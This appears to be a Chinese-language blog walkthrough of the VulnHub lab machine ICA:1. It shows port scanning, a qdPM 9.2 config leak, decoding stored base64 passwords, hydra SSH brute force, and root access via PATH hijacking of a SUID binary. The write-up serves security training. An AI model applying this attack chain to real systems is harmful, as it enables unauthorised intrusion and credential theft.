wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.15:ICA:1(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1044

一、前言

主要利用方式:敏感信息泄露+数据库base64解码获取密码+ssh登陆后suid文件提权

二、靶机信息

靶场: vulnhub.com
靶机名称: ICA: 1
难度: 简单
发布时间: 2021 年 9月 25日
下载地址:https://www.vulnhub.com/entry/ica-1,748/
备注:web框架存在敏感信息泄露,密码爆破后要把用户名的大写换成小写。
          suid提权时候,需要替换cat的路径,新方法,新尝试~!

三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配、USB:1.0

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.14
└─$ sudo nmap -p22,80 -sV -A 10.0.2.14

3、常规访问80端口及路径扫描

web页面提示了qdPM 9.2这个信息,路径扫描也发现了uploads、backups及install文件,但皆无果

http://10.0.2.14/
└─$ dirsearch -u 10.0.2.14

4、搜索框架漏洞,并下载到本地,查看利用方式
└─$ searchsploit qdPM 9.2
└─$ searchsploit -m php/webapps/50176.txt
└─$ cat 50176.txt

The password and connection string for the database are stored in a yml file.
To access the yml file you can go to
http://<;website>/core/config/databases.yml file and download.
数据库的密码和连接字符串存储在yml文件中。要访问yml文件,你可以进入 http://<;website>/core/config/databases.yml文件并下载。

5、存在信息泄露,访问url,获取账号密码
http://10.0.2.14/core/config/databases.yml

username: qdpmadmin
       password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"

6、登录mysql,通过base64解码,hydra确定哪些可以进行22登录靶机
└─$ mysql -u qdpmadmin -h 10.0.2.14 -p
Enter password: (UcVQCMQk2STVeS6J)

查看了qdpm库,但未找到任何有用信息,进入staff库,查看到用户及密码(base64编码)

通过bse64解码,如下

Lucas/suRJAdGwLp8dy3rF
Dexter/7ZwV4qtg42cmUXGX
Smith/X7MQkP3W29fewHdC
Travis/DJceVy98W28Y7wLg
Meyer/cqNnBWCByS2DuJSy

因为user表中未明确uid,所以用密码爆破来匹配一下,哪些账号可以登录
尝试了大写后,发现无任何账号和密码匹配,再替换用户名小写后,才爆破成功

22 host: 10.0.2.14 login: travis password: DJceVy98W28Y7wLg
22 host: 10.0.2.14 login: dexter password: 7ZwV4qtg42cmUXGX

五、漏洞利用(突破边界)
7、使用travis来登录靶机
└─$ ssh travis@10.0.2.14 -p 22

经过尝试,travis无任何利用途径

8、使用dexter来登录靶机,有个友情提示
└─$ ssh dexter@10.0.2.14 -p 22

It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.
在我看来,在访问系统时存在一个弱点。
据我所知,可执行文件的内容是部分可见的。
我需要找出其中是否存在漏洞。

六、提权
9、查看su、sudo、suid权限文件
dexter@debian:~$ find / -perm -u=s 2>/dev/null

10、查看get_access文件,二进制文件用cat会乱码,使用strings 命令即可
dexter@debian:~$ strings /opt/get_access

11、替换cat命令,导入环境变量
这个cat命令它并没有指定是哪个文件夹下的cat命令
所以我们可以创建一个名为cat的文件,内容写上"/bin/bash",然后把它添加到环境变量,就可以提权了
dexter@debian:~$ echo "/bin/bash" > /tmp/cat
dexter@debian:~$ export PATH=/tmp:$PATH
dexter@debian:~$ chmod +x /tmp/cat
dexter@debian:~$ echo export
export
dexter@debian:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

12、执行命令,提权,查看flag
dexter@debian:~$ /opt/get_access
root@debian:~# cd /root
root@debian:/root# ls -la
root@debian:/root# cat root.txt
root@debian:/root# more root.txt
ICA{Next_Generation_Self_Renewable_Genetics}

添加新评论

TOP